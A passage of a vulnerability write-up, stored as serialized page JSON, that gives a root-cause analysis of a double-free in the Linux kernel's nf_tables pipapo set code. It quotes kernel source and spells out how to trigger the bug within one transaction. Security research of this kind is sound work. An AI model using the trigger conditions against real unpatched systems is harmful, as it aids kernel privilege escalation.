const",{"type":19,"tag":168,"props":49153,"children":49154},{"style":382},[49155],{"type":24,"value":18606},{"type":19,"tag":168,"props":49157,"children":49158},{"style":212},[49159],{"type":24,"value":48582},{"type":19,"tag":168,"props":49161,"children":49162},{"style":399},[49163],{"type":24,"value":2002},{"type":19,"tag":168,"props":49165,"children":49166},{"style":393},[49167],{"type":24,"value":48502},{"type":19,"tag":168,"props":49169,"children":49170},{"style":212},[49171],{"type":24,"value":915},{"type":19,"tag":168,"props":49173,"children":49174},{"class":170,"line":415},[49175,49179,49183,49188,49192,49197],{"type":19,"tag":168,"props":49176,"children":49177},{"style":382},[49178],{"type":24,"value":49151},{"type":19,"tag":168,"props":49180,"children":49181},{"style":382},[49182],{"type":24,"value":18606},{"type":19,"tag":168,"props":49184,"children":49185},{"style":212},[49186],{"type":24,"value":49187}," nft_elem_priv ",{"type":19,"tag":168,"props":49189,"children":49190},{"style":399},[49191],{"type":24,"value":2002},{"type":19,"tag":168,"props":49193,"children":49194},{"style":393},[49195],{"type":24,"value":49196},"elem_priv",{"type":19,"tag":168,"props":49198,"children":49199},{"style":212},[49200],{"type":24,"value":557},{"type":19,"tag":168,"props":49202,"children":49203},{"class":170,"line":450},[49204],{"type":19,"tag":168,"props":49205,"children":49206},{"style":212},[49207],{"type":24,"value":8324},{"type":19,"tag":168,"props":49209,"children":49210},{"class":170,"line":560},[49211,49215,49220,49224,49229,49233,49238],{"type":19,"tag":168,"props":49212,"children":49213},{"style":382},[49214],{"type":24,"value":18606},{"type":19,"tag":168,"props":49216,"children":49217},{"style":212},[49218],{"type":24,"value":49219}," nft_set_ext ",{"type":19,"tag":168,"props":49221,"children":49222},{"style":399},[49223],{"type":24,"value":2002},{"type":19,"tag":168,"props":49225,"children":49226},{"style":212},[49227],{"type":24,"value":49228},"ext ",{"type":19,"tag":168,"props":49230,"children":49231},{"style":399},[49232],{"type":24,"value":486},{"type":19,"tag":168,"props":49234,"children":49235},{"style":175},[49236],{"type":24,"value":49237}," nft_set_elem_ext",{"type":19,"tag":168,"props":49239,"children":49240},{"style":212},[49241],{"type":24,"value":49242},"(set, elem_priv);\n",{"type":19,"tag":168,"props":49244,"children":49245},{"class":170,"line":666},[49246],{"type":19,"tag":168,"props":49247,"children":49248},{"emptyLinePlaceholder":14},[49249],{"type":24,"value":1093},{"type":19,"tag":168,"props":49251,"children":49252},{"class":170,"line":694},[49253,49257,49261,49266],{"type":19,"tag":168,"props":49254,"children":49255},{"style":419},[49256],{"type":24,"value":13236},{"type":19,"tag":168,"props":49258,"children":49259},{"style":212},[49260],{"type":24,"value":461},{"type":19,"tag":168,"props":49262,"children":49263},{"style":175},[49264],{"type":24,"value":49265},"nft_set_ext_exists",{"type":19,"tag":168,"props":49267,"children":49268},{"style":212},[49269],{"type":24,"value":49270},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":19,"tag":168,"props":49272,"children":49273},{"class":170,"line":707},[49274,49279,49284,49289],{"type":19,"tag":168,"props":49275,"children":49276},{"style":175},[49277],{"type":24,"value":49278}," nft_set_elem_expr_destroy",{"type":19,"tag":168,"props":49280,"children":49281},{"style":212},[49282],{"type":24,"value":49283},"(ctx, ",{"type":19,"tag":168,"props":49285,"children":49286},{"style":175},[49287],{"type":24,"value":49288},"nft_set_ext_expr",{"type":19,"tag":168,"props":49290,"children":49291},{"style":212},[49292],{"type":24,"value":49293},"(ext));\n",{"type":19,"tag":168,"props":49295,"children":49296},{"class":170,"line":725},[49297],{"type":19,"tag":168,"props":49298,"children":49299},{"emptyLinePlaceholder":14},[49300],{"type":24,"value":1093},{"type":19,"tag":168,"props":49302,"children":49303},{"class":170,"line":746},[49304,49309],{"type":19,"tag":168,"props":49305,"children":49306},{"style":175},[49307],{"type":24,"value":49308}," kfree",{"type":19,"tag":168,"props":49310,"children":49311},{"style":212},[49312],{"type":24,"value":49313},"(elem_priv);\n",{"type":19,"tag":168,"props":49315,"children":49316},{"class":170,"line":755},[49317],{"type":19,"tag":168,"props":49318,"children":49319},{"style":212},[49320],{"type":24,"value":1326},{"type":19,"tag":20,"props":49322,"children":49323},{},[49324,49325,49331,49333,49338,49340,49345,49347,49352,49353,49358,49360,49365,49367,49372,49374,49379],{"type":24,"value":14062},{"type":19,"tag":27,"props":49326,"children":49328},{"className":49327},[],[49329],{"type":24,"value":49330},"nft_pipapo_match",{"type":24,"value":49332}," objects contain views of the ",{"type":19,"tag":27,"props":49334,"children":49336},{"className":49335},[],[49337],{"type":24,"value":48494},{"type":24,"value":49339},"'s of a ",{"type":19,"tag":27,"props":49341,"children":49343},{"className":49342},[],[49344],{"type":24,"value":48502},{"type":24,"value":49346},". The difference between the ",{"type":19,"tag":27,"props":49348,"children":49350},{"className":49349},[],[49351],{"type":24,"value":48479},{"type":24,"value":8436},{"type":19,"tag":27,"props":49354,"children":49356},{"className":49355},[],[49357],{"type":24,"value":48463},{"type":24,"value":49359}," match objects is that the clone has a view of not only already committed ",{"type":19,"tag":27,"props":49361,"children":49363},{"className":49362},[],[49364],{"type":24,"value":48494},{"type":24,"value":49366},"'s that the \"normal\" one has but also a view of the ",{"type":19,"tag":27,"props":49368,"children":49370},{"className":49369},[],[49371],{"type":24,"value":48494},{"type":24,"value":49373},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":19,"tag":27,"props":49375,"children":49377},{"className":49376},[],[49378],{"type":24,"value":48479},{"type":24,"value":948},{"type":19,"tag":7050,"props":49381,"children":49383},{"id":49382},"root-cause-analysis",[49384],{"type":24,"value":49385},"Root-cause analysis",{"type":19,"tag":20,"props":49387,"children":49388},{},[49389,49391,49397,49399,49404],{"type":24,"value":49390},"So ",{"type":19,"tag":27,"props":49392,"children":49394},{"className":49393},[],[49395],{"type":24,"value":49396},"nf_tables_set_elem_destroy",{"type":24,"value":49398}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":19,"tag":27,"props":49400,"children":49402},{"className":49401},[],[49403],{"type":24,"value":48494},{"type":24,"value":49405},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":19,"tag":20,"props":49407,"children":49408},{},[49409,49411,49416,49418,49423,49425,49430,49432,49437,49439,49444],{"type":24,"value":49410},"We should now try to understand how to reach that path with the ",{"type":19,"tag":27,"props":49412,"children":49414},{"className":49413},[],[49415],{"type":24,"value":48456},{"type":24,"value":49417}," flag set, which is a member of the private data of a pipapo ",{"type":19,"tag":27,"props":49419,"children":49421},{"className":49420},[],[49422],{"type":24,"value":48494},{"type":24,"value":49424}," that becomes true whenever a change is made to the ",{"type":19,"tag":27,"props":49426,"children":49428},{"className":49427},[],[49429],{"type":24,"value":48502},{"type":24,"value":49431}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":19,"tag":27,"props":49433,"children":49435},{"className":49434},[],[49436],{"type":24,"value":48502},{"type":24,"value":49438}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":19,"tag":27,"props":49440,"children":49442},{"className":49441},[],[49443],{"type":24,"value":48502},{"type":24,"value":49445}," dirty by inserting a new element.",{"type":19,"tag":158,"props":49447,"children":49449},{"className":13963,"code":49448,"language":543,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[49450],{"type":19,"tag":27,"props":49451,"children":49452},{"__ignoreMap":7},[49453,49523,49552,49577,49584,49591,49620,49627],{"type":19,"tag":168,"props":49454,"children":49455},{"class":170,"line":171},[49456,49460,49464,49469,49473,49477,49481,49486,49490,49495,49499,49503,49507,49511,49515,49519],{"type":19,"tag":168,"props":49457,"children":49458},{"style":382},[49459],{"type":24,"value":48527},{"type":19,"tag":168,"props":49461,"children":49462},{"style":382},[49463],{"type":24,"value":48656},{"type":19,"tag":168,"props":49465,"children":49466},{"style":175},[49467],{"type":24,"value":49468}," nft_pipapo_insert",{"type":19,"tag":168,"props":49470,"children":49471},{"style":212},[49472],{"type":24,"value":500},{"type":19,"tag":168,"props":49474,"children":49475},{"style":382},[49476],{"type":24,"value":7097},{"type":19,"tag":168,"props":49478,"children":49479},{"style":382},[49480],{"type":24,"value":18606},{"type":19,"tag":168,"props":49482,"children":49483},{"style":212},[49484],{"type":24,"value":49485}," net ",{"type":19,"tag":168,"props":49487,"children":49488},{"style":399},[49489],{"type":24,"value":2002},{"type":19,"tag":168,"props":49491,"children":49492},{"style":393},[49493],{"type":24,"value":49494},"net",{"type":19,"tag":168,"props":49496,"children":49497},{"style":212},[49498],{"type":24,"value":471},{"type":19,"tag":168,"props":49500,"children":49501},{"style":382},[49502],{"type":24,"value":7097},{"type":19,"tag":168,"props":49504,"children":49505},{"style":382},[49506],{"type":24,"value":18606},{"type":19,"tag":168,"props":49508,"children":49509},{"style":212},[49510],{"type":24,"value":48582},{"type":19,"tag":168,"props":49512,"children":49513},{"style":399},[49514],{"type":24,"value":2002},{"type":19,"tag":168,"props":49516,"children":49517},{"style":393},[49518],{"type":24,"value":48502},{"type":19,"tag":168,"props":49520,"children":49521},{"style":212},[49522],{"type":24,"value":915},{"type":19,"tag":168,"props":49524,"children":49525},{"class":170,"line":198},[49526,49530,49534,49539,49543,49548],{"type":19,"tag":168,"props":49527,"children":49528},{"style":382},[49529],{"type":24,"value":30374},{"type":19,"tag":168,"props":49531,"children":49532},{"style":382},[49533],{"type":24,"value":18606},{"type":19,"tag":168,"props":49535,"children":49536},{"style":212},[49537],{"type":24,"value":49538}," nft_set_elem ",{"type":19,"tag":168,"props":49540,"children":49541},{"style":399},[49542],{"type":24,"value":2002},{"type":19,"tag":168,"props":49544,"children":49545},{"style":393},[49546],{"type":24,"value":49547},"elem",{"type":19,"tag":168,"props":49549,"children":49550},{"style":212},[49551],{"type":24,"value":915},{"type":19,"tag":168,"props":49553,"children":49554},{"class":170,"line":415},[49555,49560,49564,49569,49573],{"type":19,"tag":168,"props":49556,"children":49557},{"style":382},[49558],{"type":24,"value":49559}," struct",{"type":19,"tag":168,"props":49561,"children":49562},{"style":212},[49563],{"type":24,"value":49187},{"type":19,"tag":168,"props":49565,"children":49566},{"style":399},[49567],{"type":24,"value":49568},"**",{"type":19,"tag":168,"props":49570,"children":49571},{"style":393},[49572],{"type":24,"value":49196},{"type":19,"tag":168,"props":49574,"children":49575},{"style":212},[49576],{"type":24,"value":557},{"type":19,"tag":168,"props":49578,"children":49579},{"class":170,"line":450},[49580],{"type":19,"tag":168,"props":49581,"children":49582},{"style":212},[49583],{"type":24,"value":8324},{"type":19,"tag":168,"props":49585,"children":49586},{"class":170,"line":560},[49587],{"type":19,"tag":168,"props":49588,"children":49589},{"style":212},[49590],{"type":24,"value":7761},{"type":19,"tag":168,"props":49592,"children":49593},{"class":170,"line":666},[49594,49599,49603,49608,49612,49616],{"type":19,"tag":168,"props":49595,"children":49596},{"style":393},[49597],{"type":24,"value":49598}," priv",{"type":19,"tag":168,"props":49600,"children":49601},{"style":212},[49602],{"type":24,"value":11203},{"type":19,"tag":168,"props":49604,"children":49605},{"style":393},[49606],{"type":24,"value":49607},"dirty",{"type":19,"tag":168,"props":49609,"children":49610},{"style":399},[49611],{"type":24,"value":402},{"type":19,"tag":168,"props":49613,"children":49614},{"style":382},[49615],{"type":24,"value":9914},{"type":19,"tag":168,"props":49617,"children":49618},{"style":212},[49619],{"type":24,"value":412},{"type":19,"tag":168,"props":49621,"children":49622},{"class":170,"line":694},[49623],{"type":19,"tag":168,"props":49624,"children":49625},{"style":212},[49626],{"type":24,"value":7761},{"type":19,"tag":168,"props":49628,"children":49629},{"class":170,"line":707},[49630],{"type":19,"tag":168,"props":49631,"children":49632},{"style":212},[49633],{"type":24,"value":1326},{"type":19,"tag":20,"props":49635,"children":49636},{},[49637],{"type":24,"value":49638},"We also see that when the changes are commited, this flag is then unset.",{"type":19,"tag":158,"props":49640,"children":49642},{"className":13963,"code":49641,"language":543,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[49643],{"type":19,"tag":27,"props":49644,"children":49645},{"__ignoreMap":7},[49646,49686,49693,49700,49731,49742,49749,49776,49783],{"type":19,"tag":168,"props":49647,"children":49648},{"class":170,"line":171},[49649,49653,49657,49662,49666,49670,49674,49678,49682],{"type":19,"tag":168,"props":49650,"children":49651},{"style":382},[49652],{"type":24,"value":48527},{"type":19,"tag":168,"props":49654,"children":49655},{"style":382},[49656],{"type":24,"value":48532},{"type":19,"tag":168,"props":49658,"children":49659},{"style":175},[49660],{"type":24,"value":49661}," nft_pipapo_commit",{"type":19,"tag":168,"props":49663,"children":49664},{"style":212},[49665],{"type":24,"value":500},{"type":19,"tag":168,"props":49667,"children":49668},{"style":382},[49669],{"type":24,"value":6842},{"type":19,"tag":168,"props":49671,"children":49672},{"style":212},[49673],{"type":24,"value":48582},{"type":19,"tag":168,"props":49675,"children":49676},{"style":399},[49677],{"type":24,"value":2002},{"type":19,"tag":168,"props":49679,"children":49680},{"style":393},[49681],{"type":24,"value":48502},{"type":19,"tag":168,"props":49683,"children":49684},{"style":212},[49685],{"type":24,"value":557},{"type":19,"tag":168,"props":49687,"children":49688},{"class":170,"line":198},[49689],{"type":19,"tag":168,"props":49690,"children":49691},{"style":212},[49692],{"type":24,"value":8324},{"type":19,"tag":168,"props":49694,"children":49695},{"class":170,"line":415},[49696],{"type":19,"tag":168,"props":49697,"children":49698},{"style":212},[49699],{"type":24,"value":7761},{"type":19,"tag":168,"props":49701,"children":49702},{"class":170,"line":450},[49703,49707,49711,49715,49719,49723,49727],{"type":19,"tag":168,"props":49704,"children":49705},{"style":419},[49706],{"type":24,"value":13236},{"type":19,"tag":168,"props":49708,"children":49709},{"style":212},[49710],{"type":24,"value":461},{"type":19,"tag":168,"props":49712,"children":49713},{"style":399},[49714],{"type":24,"value":18076},{"type":19,"tag":168,"props":49716,"children":49717},{"style":393},[49718],{"type":24,"value":49058},{"type":19,"tag":168,"props":49720,"children":49721},{"style":212},[49722],{"type":24,"value":11203},{"type":19,"tag":168,"props":49724,"children":49725},{"style":393},[49726],{"type":24,"value":49607},{"type":19,"tag":168,"props":49728,"children":49729},{"style":212},[49730],{"type":24,"value":557},{"type":19,"tag":168,"props":49732,"children":49733},{"class":170,"line":560},[49734,49738],{"type":19,"tag":168,"props":49735,"children":49736},{"style":419},[49737],{"type":24,"value":36674},{"type":19,"tag":168,"props":49739,"children":49740},{"style":212},[49741],{"type":24,"value":412},{"type":19,"tag":168,"props":49743,"children":49744},{"class":170,"line":666},[49745],{"type":19,"tag":168,"props":49746,"children":49747},{"style":212},[49748],{"type":24,"value":7761},{"type":19,"tag":168,"props":49750,"children":49751},{"class":170,"line":694},[49752,49756,49760,49764,49768,49772],{"type":19,"tag":168,"props":49753,"children":49754},{"style":393},[49755],{"type":24,"value":49598},{"type":19,"tag":168,"props":49757,"children":49758},{"style":212},[49759],{"type":24,"value":11203},{"type":19,"tag":168,"props":49761,"children":49762},{"style":393},[49763],{"type":24,"value":49607},{"type":19,"tag":168,"props":49765,"children":49766},{"style":399},[49767],{"type":24,"value":402},{"type":19,"tag":168,"props":49769,"children":49770},{"style":382},[49771],{"type":24,"value":6497},{"type":19,"tag":168,"props":49773,"children":49774},{"style":212},[49775],{"type":24,"value":412},{"type":19,"tag":168,"props":49777,"children":49778},{"class":170,"line":707},[49779],{"type":19,"tag":168,"props":49780,"children":49781},{"style":212},[49782],{"type":24,"value":7761},{"type":19,"tag":168,"props":49784,"children":49785},{"class":170,"line":725},[49786],{"type":19,"tag":168,"props":49787,"children":49788},{"style":212},[49789],{"type":24,"value":1326},{"type":19,"tag":20,"props":49791,"children":49792},{},[49793,49795,49800,49802,49807,49809,49814,49816,49821,49823,49829,49831,49837,49839,49844],{"type":24,"value":49794},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":19,"tag":27,"props":49796,"children":49798},{"className":49797},[],[49799],{"type":24,"value":48494},{"type":24,"value":49801}," in the ",{"type":19,"tag":27,"props":49803,"children":49805},{"className":49804},[],[49806],{"type":24,"value":48502},{"type":24,"value":49808}," to make it dirty and then delete the ",{"type":19,"tag":27,"props":49810,"children":49812},{"className":49811},[],[49813],{"type":24,"value":48502},{"type":24,"value":49815},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":19,"tag":27,"props":49817,"children":49819},{"className":49818},[],[49820],{"type":24,"value":48502},{"type":24,"value":49822},"'s ",{"type":19,"tag":27,"props":49824,"children":49826},{"className":49825},[],[49827],{"type":24,"value":49828},"->commit()",{"type":24,"value":49830}," method is executed before its ",{"type":19,"tag":27,"props":49832,"children":49834},{"className":49833},[],[49835],{"type":24,"value":49836},"->destroy()",{"type":24,"value":49838}," method, then the ",{"type":19,"tag":27,"props":49840,"children":49842},{"className":49841},[],[49843],{"type":24,"value":49607},{"type":24,"value":49845}," flag will be unset, and we won't be able to trigger the double-free.",{"type":19,"tag":20,"props":49847,"children":49848},{},[49849],{"type":24,"value":49850},"Let's once again refer to the code and see how these methods are called.",{"type":19,"tag":158,"props":49852,"children":49854},{"className":13963,"code":49853,"language":543,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[49855],{"type":19,"tag":27,"props":49856,"children":49857},{"__ignoreMap":7},[49858,49920,49927,49934,49942,49955,49990,50024,50066,50088,50100,50113,50120,50168,50209,50249,50262,50269,50276,50283,50290,50315,50322,50335,50342,50358],{"type":19,"tag":168,"props":49859,"children":49860},{"class":170,"line":171},[49861,49865,49869,49874,49878,49882,49886,49890,49894,49898,49902,49907,49911,49916],{"type":19,"tag":168,"props":49862,"children":49863},{"style":382},[49864],{"type":24,"value":48527},{"type":19,"tag":168,"props":49866,"children":49867},{"style":382},[49868],{"type":24,"value":48656},{"type":19,"tag":168,"props":49870,"children":49871},{"style":175},[49872],{"type":24,"value":49873}," nf_tables_commit",{"type":19,"tag":168,"props":49875,"children":49876},{"style":212},[49877],{"type":24,"value":500},{"type":19,"tag":168,"props":49879,"children":49880},{"style":382},[49881],{"type":24,"value":6842},{"type":19,"tag":168,"props":49883,"children":49884},{"style":212},[49885],{"type":24,"value":49485},{"type":19,"tag":168,"props":49887,"children":49888},{"style":399},[49889],{"type":24,"value":2002},{"type":19,"tag":168,"props":49891,"children":49892},{"style":393},[49893],{"type":24,"value":49494},{"type":19,"tag":168,"props":49895,"children":49896},{"style":212},[49897],{"type":24,"value":471},{"type":19,"tag":168,"props":49899,"children":49900},{"style":382},[49901],{"type":24,"value":6842},{"type":19,"tag":168,"props":49903,"children":49904},{"style":212},[49905],{"type":24,"value":49906}," sk_buff ",{"type":19,"tag":168,"props":49908,"children":49909},{"style":399},[49910],{"type":24,"value":2002},{"type":19,"tag":168,"props":49912,"children":49913},{"style":393},[49914],{"type":24,"value":49915},"skb",{"type":19,"tag":168,"props":49917,"children":49918},{"style":212},[49919],{"type":24,"value":557},{"type":19,"tag":168,"props":49921,"children":49922},{"class":170,"line":198},[49923],{"type":19,"tag":168,"props":49924,"children":49925},{"style":212},[49926],{"type":24,"value":8324},{"type":19,"tag":168,"props":49928,"children":49929},{"class":170,"line":415},[49930],{"type":19,"tag":168,"props":49931,"children":49932},{"style":212},[49933],{"type":24,"value":7761},{"type":19,"tag":168,"props":49935,"children":49936},{"class":170,"line":450},[49937],{"type":19,"tag":168,"props":49938,"children":49939},{"style":212},[49940],{"type":24,"value":49941}," case NFT_MSG_DELSET:\n",{"type":19,"tag":168,"props":49943,"children":49944},{"class":170,"line":560},[49945,49950],{"type":19,"tag":168,"props":49946,"children":49947},{"style":212},[49948],{"type":24,"value":49949}," case NFT_MSG_DESTROYSET:",{"type":19,"tag":168,"props":49951,"children":49952},{"style":373},[49953],{"type":24,"value":49954}," // [1]\n",{"type":19,"tag":168,"props":49956,"children":49957},{"class":170,"line":666},[49958,49963,49968,49973,49977,49981,49985],{"type":19,"tag":168,"props":49959,"children":49960},{"style":175},[49961],{"type":24,"value":49962}," nft_trans_set",{"type":19,"tag":168,"props":49964,"children":49965},{"style":212},[49966],{"type":24,"value":49967},"(trans)->",{"type":19,"tag":168,"props":49969,"children":49970},{"style":393},[49971],{"type":24,"value":49972},"dead",{"type":19,"tag":168,"props":49974,"children":49975},{"style":399},[49976],{"type":24,"value":402},{"type":19,"tag":168,"props":49978,"children":49979},{"style":192},[49980],{"type":24,"value":1954},{"type":19,"tag":168,"props":49982,"children":49983},{"style":212},[49984],{"type":24,"value":46556},{"type":19,"tag":168,"props":49986,"children":49987},{"style":373},[49988],{"type":24,"value":49989}," // [2]\n",{"type":19,"tag":168,"props":49991,"children":49992},{"class":170,"line":694},[49993,49998,50002,50006,50011,50015,50020],{"type":19,"tag":168,"props":49994,"children":49995},{"style":175},[49996],{"type":24,"value":49997}," list_del_rcu",{"type":19,"tag":168,"props":49999,"children":50000},{"style":212},[50001],{"type":24,"value":500},{"type":19,"tag":168,"props":50003,"children":50004},{"style":399},[50005],{"type":24,"value":505},{"type":19,"tag":168,"props":50007,"children":50008},{"style":175},[50009],{"type":24,"value":50010},"nft_trans_set",{"type":19,"tag":168,"props":50012,"children":50013},{"style":212},[50014],{"type":24,"value":49967},{"type":19,"tag":168,"props":50016,"children":50017},{"style":393},[50018],{"type":24,"value":50019},"list",{"type":19,"tag":168,"props":50021,"children":50022},{"style":212},[50023],{"type":24,"value":1249},{"type":19,"tag":168,"props":50025,"children":50026},{"class":170,"line":707},[50027,50032,50036,50040,50045,50049,50053,50057,50061],{"type":19,"tag":168,"props":50028,"children":50029},{"style":175},[50030],{"type":24,"value":50031}," nf_tables_set_notify",{"type":19,"tag":168,"props":50033,"children":50034},{"style":212},[50035],{"type":24,"value":500},{"type":19,"tag":168,"props":50037,"children":50038},{"style":399},[50039],{"type":24,"value":505},{"type":19,"tag":168,"props":50041,"children":50042},{"style":393},[50043],{"type":24,"value":50044},"trans",{"type":19,"tag":168,"props":50046,"children":50047},{"style":212},[50048],{"type":24,"value":11203},{"type":19,"tag":168,"props":50050,"children":50051},{"style":393},[50052],{"type":24,"value":17735},{"type":19,"tag":168,"props":50054,"children":50055},{"style":212},[50056],{"type":24,"value":471},{"type":19,"tag":168,"props":50058,"children":50059},{"style":175},[50060],{"type":24,"value":50010},{"type":19,"tag":168,"props":50062,"children":50063},{"style":212},[50064],{"type":24,"value":50065},"(trans),\n",{"type":19,"tag":168,"props":50067,"children":50068},{"class":170,"line":725},[50069,50074,50078,50083],{"type":19,"tag":168,"props":50070,"children":50071},{"style":393},[50072],{"type":24,"value":50073}," trans",{"type":19,"tag":168,"props":50075,"children":50076},{"style":212},[50077],{"type":24,"value":11203},{"type":19,"tag":168,"props":50079,"children":50080},{"style":393},[50081],{"type":24,"value":50082},"msg_type",{"type":19,"tag":168,"props":50084,"children":50085},{"style":212},[50086],{"type":24,"value":50087},", GFP_KERNEL);\n",{"type":19,"tag":168,"props":50089,"children":50090},{"class":170,"line":746},[50091,50096],{"type":19,"tag":168,"props":50092,"children":50093},{"style":419},[50094],{"type":24,"value":50095}," break",{"type":19,"tag":168,"props":50097,"children":50098},{"style":212},[50099],{"type":24,"value":412},{"type":19,"tag":168,"props":50101,"children":50102},{"class":170,"line":755},[50103,50108],{"type":19,"tag":168,"props":50104,"children":50105},{"style":212},[50106],{"type":24,"value":50107}," case NFT_MSG_NEWSETELEM:",{"type":19,"tag":168,"props":50109,"children":50110},{"style":373},[50111],{"type":24,"value":50112}," // [3]\n",{"type":19,"tag":168,"props":50114,"children":50115},{"class":170,"line":1008},[50116],{"type":19,"tag":168,"props":50117,"children":50118},{"style":212},[50119],{"type":24,"value":7761},{"type":19,"tag":168,"props":50121,"children":50122},{"class":170,"line":1025},[50123,50128,50132,50137,50141,50145,50149,50154,50158,50163],{"type":19,"tag":168,"props":50124,"children":50125},{"style":419},[50126],{"type":24,"value":50127}," if",{"type":19,"tag":168,"props":50129,"children":50130},{"style":212},[50131],{"type":24,"value":461},{"type":19,"tag":168,"props":50133,"children":50134},{"style":393},[50135],{"type":24,"value":50136},"te",{"type":19,"tag":168,"props":50138,"children":50139},{"style":212},[50140],{"type":24,"value":11203},{"type":19,"tag":168,"props":50142,"children":50143},{"style":393},[50144],{"type":24,"value":48502},{"type":19,"tag":168,"props":50146,"children":50147},{"style":212},[50148],{"type":24,"value":11203},{"type":19,"tag":168,"props":50150,"children":50151},{"style":393},[50152],{"type":24,"value":50153},"ops",{"type":19,"tag":168,"props":50155,"children":50156},{"style":212},[50157],{"type":24,"value":11203},{"type":19,"tag":168,"props":50159,"children":50160},{"style":393},[50161],{"type":24,"value":50162},"commit",{"type":19,"tag":168,"props":50164,"children":50165},{"style":399},[50166],{"type":24,"value":50167}," &&\n",{"type":19,"tag":168,"props":50169,"children":50170},{"class":170,"line":1042},[50171,50176,50180,50184,50188,50192,50196,50200,50205],{"type":19,"tag":168,"props":50172,"children":50173},{"style":175},[50174],{"type":24,"value":50175}," list_empty",{"type":19,"tag":168,"props":50177,"children":50178},{"style":212},[50179],{"type":24,"value":500},{"type":19,"tag":168,"props":50181,"children":50182},{"style":399},[50183],{"type":24,"value":505},{"type":19,"tag":168,"props":50185,"children":50186},{"style":393},[50187],{"type":24,"value":50136},{"type":19,"tag":168,"props":50189,"children":50190},{"style":212},[50191],{"type":24,"value":11203},{"type":19,"tag":168,"props":50193,"children":50194},{"style":393},[50195],{"type":24,"value":48502},{"type":19,"tag":168,"props":50197,"children":50198},{"style":212},[50199],{"type":24,"value":11203},{"type":19,"tag":168,"props":50201,"children":50202},{"style":393},[50203],{"type":24,"value":50204},"pending_update",{"type":19,"tag":168,"props":50206,"children":50207},{"style":212},[50208],{"type":24,"value":32668},{"type":19,"tag":168,"props":50210,"children":50211},{"class":170,"line":1055},[50212,50217,50221,50225,50229,50233,50237,50241,50245],{"type":19,"tag":168,"props":50213,"children":50214},{"style":175},[50215],{"type":24,"value":50216}," list_add_tail",{"type":19,"tag":168,"props":50218,"children":50219},{"style":212},[50220],{"type":24,"value":500},{"type":19,"tag":168,"props":50222,"children":50223},{"style":399},[50224],{"type":24,"value":505},{"type":19,"tag":168,"props":50226,"children":50227},{"style":393},[50228],{"type":24,"value":50136},{"type":19,"tag":168,"props":50230,"children":50231},{"style":212},[50232],{"type":24,"value":11203},{"type":19,"tag":168,"props":50234,"children":50235},{"style":393},[50236],{"type":24,"value":48502},{"type":19,"tag":168,"props":50238,"children":50239},{"style":212},[50240],{"type":24,"value":11203},{"type":19,"tag":168,"props":50242,"children":50243},{"style":393},[50244],{"type":24,"value":50204},{"type":19,"tag":168,"props":50246,"children":50247},{"style":212},[50248],{"type":24,"value":915},{"type":19,"tag":168,"props":50250,"children":50251},{"class":170,"line":1064},[50252,50257],{"type":19,"tag":168,"props":50253,"children":50254},{"style":399},[50255],{"type":24,"value":50256}," &",{"type":19,"tag":168,"props":50258,"children":50259},{"style":212},[50260],{"type":24,"value":50261},"set_update_list);\n",{"type":19,"tag":168,"props":50263,"children":50264},{"class":170,"line":1087},[50265],{"type":19,"tag":168,"props":50266,"children":50267},{"style":212},[50268],{"type":24,"value":32222},{"type":19,"tag":168,"props":50270,"children":50271},{"class":170,"line":1096},[50272],{"type":19,"tag":168,"props":50273,"children":50274},{"style":212},[50275],{"type":24,"value":7761},{"type":19,"tag":168,"props":50277,"children":50278},{"class":170,"line":1105},[50279],{"type":19,"tag":168,"props":50280,"children":50281},{"style":212},[50282],{"type":24,"value":7037},{"type":19,"tag":168,"props":50284,"children":50285},{"class":170,"line":1174},[50286],{"type":19,"tag":168,"props":50287,"children":50288},{"emptyLinePlaceholder":14},[50289],{"type":24,"value":1093},{"type":19,"tag":168,"props":50291,"children":50292},{"class":170,"line":1182},[50293,50298,50302,50306,50311],{"type":19,"tag":168,"props":50294,"children":50295},{"style":175},[50296],{"type":24,"value":50297}," nft_set_commit_update",{"type":19,"tag":168,"props":50299,"children":50300},{"style":212},[50301],{"type":24,"value":500},{"type":19,"tag":168,"props":50303,"children":50304},{"style":399},[50305],{"type":24,"value":505},{"type":19,"tag":168,"props":50307,"children":50308},{"style":393},[50309],{"type":24,"value":50310},"set_update_list",{"type":19,"tag":168,"props":50312,"children":50313},{"style":212},[50314],{"type":24,"value":1249},{"type":19,"tag":168,"props":50316,"children":50317},{"class":170,"line":1212},[50318],{"type":19,"tag":168,"props":50319,"children":50320},{"style":212},[50321],{"type":24,"value":7761},{"type":19,"tag":168,"props":50323,"children":50324},{"class":170,"line":1220},[50325,50330],{"type":19,"tag":168,"props":50326,"children":50327},{"style":175},[50328],{"type":24,"value":50329}," 